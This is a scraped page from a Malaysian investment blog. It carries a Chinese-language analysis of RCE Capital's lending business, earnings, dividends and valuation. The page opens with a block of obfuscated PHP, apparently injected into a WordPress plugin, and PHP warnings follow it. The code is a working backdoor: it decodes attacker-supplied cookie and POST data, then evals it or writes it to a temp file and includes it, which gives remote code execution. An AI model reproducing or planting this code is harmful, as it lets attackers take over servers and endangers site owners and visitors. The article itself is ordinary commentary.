$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}
Warning: session_start(): Cannot start session when headers already sent in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 31

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/SliderOptionsPreset/733a94e3.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 46

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/SliderOptionsPreset/733a94e3.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 47

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/SliderOptionsPreset/733a94e3.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 48
不知不觉RCECAP已经翻倍,典型的估值重置 - Sharix

不知不觉RCECAP已经翻倍,典型的估值重置

今天笔者要带大家去认识和Aeon Credit有相同之处的公司,那就是RCE Capital。为什么笔者说有点相似?主要是因为这两家公司都是从事借贷服务的非金融机构,都没有银行执照,也无法通过吸引大众前来银行存款。笔者想要讨论RCECAP的原因,是因为公司的股价从去年到现在已经翻倍,表现优于许多大马的上市公司。为什么股价会这样涨,笔者来为你解说。

先介绍RCECAP的业务。公司本身是从事融资服务,大部分的对象都是来自政府的公务人员。公司旗下有三家子公司分别都扮演不同的角色,有RCE Marketing专门负责个人融资,是公司盈利的主要贡献者,EXP Payment主要负责经营和管理贷款偿还事务,而RCE Factoring主要为贸易、建筑和制造业的中小型企业提供factoring及confirming的服务。

RCECAP和其他银行的不同之处,是公司本身并没有银行执照,不能向大众收取存款来获得供融资的资金,而且要取得便宜的资金来源也不比银行有优势。但是,公司的竞争优势在于独特的收款机制,从公务员的薪水里分期扣除来偿还贷款 (Salary deduction scheme) 。大家都知道公务员本身就是铁饭碗的工作,收入也相对稳定,还钱的机率也比较高,是优质的资产。这样的做法可以确保公司能稳定收回贷款,降低公司面对坏账与折损的危险。

目前大马总共有170万名公务员,而公司的贷款对象只占了8万人或5% 左右,眼看公司的潜在市场还是很大的。但是,根据国家银行发布的报告,几乎所有的大马公务员都有债务缠身,大部分都集中在个人贷款、汽车及信用卡等。往好的方面看,大马公务员的呆账率也比较低,主要是因为笔者刚才提到的自动薪水扣除机制。目前公司的潜在风险就是我国政府为了节约开支,可能会开始削减公务员方面的预算,导致来自公务员的贷款处于停滞的状态。

从上图可以看到,公司的营收从2015财年的RM131.2 million成长至2021财年的RM293.5 million,6年复合成长率CAGR来到14.4%。另外,公司的净利成长更加亮眼,从同期的RM36.2 million成长至124.6 million,6年的CAGR高达22.9%。公司出色的表现,也可以归功于资产组合的管理,大家会发现公司的减值贷款率gross impaired loan ratio都是呈长期下跌的趋势。

观察最新的季度报告,公司在2Q2022的营业额按年下滑了8% 至RM69.8 million,主要是受到在今年7月开始实行的封锁措施限制了公司销售代理的营运。因此,公司的净利从RM33 million小幅下滑了4.4% 至RM31.5 million。但是,管理层在季报当中表示目前公司已经恢复营运,相信下个季度公司的盈利也能恢复至正常的水平。

此外,公司也在这个季度建议以20送1的比例派送最多18.8 million的库存股,并以21送19的比例派送最多360.3 million的红股以回馈股东和强化股票流通性。总的来说,如果股东手上拥有100股RCECAP,上述企业活动之后股东将会持有200股RCECAP,而这两项活动预计将会在明年第一季度完成。

然而,最值得投资者注意的无疑是RCECAP过去几年大方的股息派发。虽然公司的派息政策在过去五年只有平均的29%,但是公司的每股股息已经从2017财年的3分成长至2021财年的13分,平均每年的涨幅高达44%,而且过去五年的平均股息率也有4.5% 左右,是股息投资者的心头好。

估值方面,其实公司的本益比很少会超过10倍,主要是因为公司的主要市场都集中在本地,而且大部分都是借贷给公务人员,可以说是属于利基市场 (Niche market)。目前公司的本益比在11.2倍,高于过去7年平均的7.3倍。其实公司的股价在过去12个月能涨100% 除了盈利成长的因素,也是因为市场的估值重置 (Valuation re-rating) 的效果。在大市缺乏成长的环境下,公司的高股息及稳定成长的特定成为市场追捧的原因。

从上图可以观察到,公司的市净率已经突破前期的高点来到了1.73倍的新高水平。之前笔者又和大家提到金融或者借贷机构的估值要多关注市净率的趋势比较准确。如果对比RCECAP和其他金融机构的市净率也可以发现公司也是出于平均值之上,显示出估值差不多要见顶。

从目前的估值来看,笔者认为公司的股价还要持续上涨必须要靠本身的盈利成长来推动,原因是公司目前的估值是处于过去平均的高点,除非市场愿意用更高的估值去衡量。但笔者认为公司现在的股息已经没有之前那么吸引,虽然股息会随着盈利同步成长,但要回到之前6% 的股息率的机会也不大。

因此,笔者认为RCECAP是一家 “10% + 5%” 的公司,也就是每年能给予投资者10% 的盈利成长及5% 股息率的回报。虽然没有很吸引的成长故事,但是公司所经营的生意可以说是铁饭碗,只要大马经济能够复苏,相信公司也能提供更多贷款于公务人员,增加公司的收入。这家公司可以算得上是投资组合里的地锚,拥有风险低及稳定成长的特质。

最新文章

Sharix Sdn Bhd (1313184-A)
@ 2023 Sharix Sdn Bhd. All Rights Reserved
官方社交平台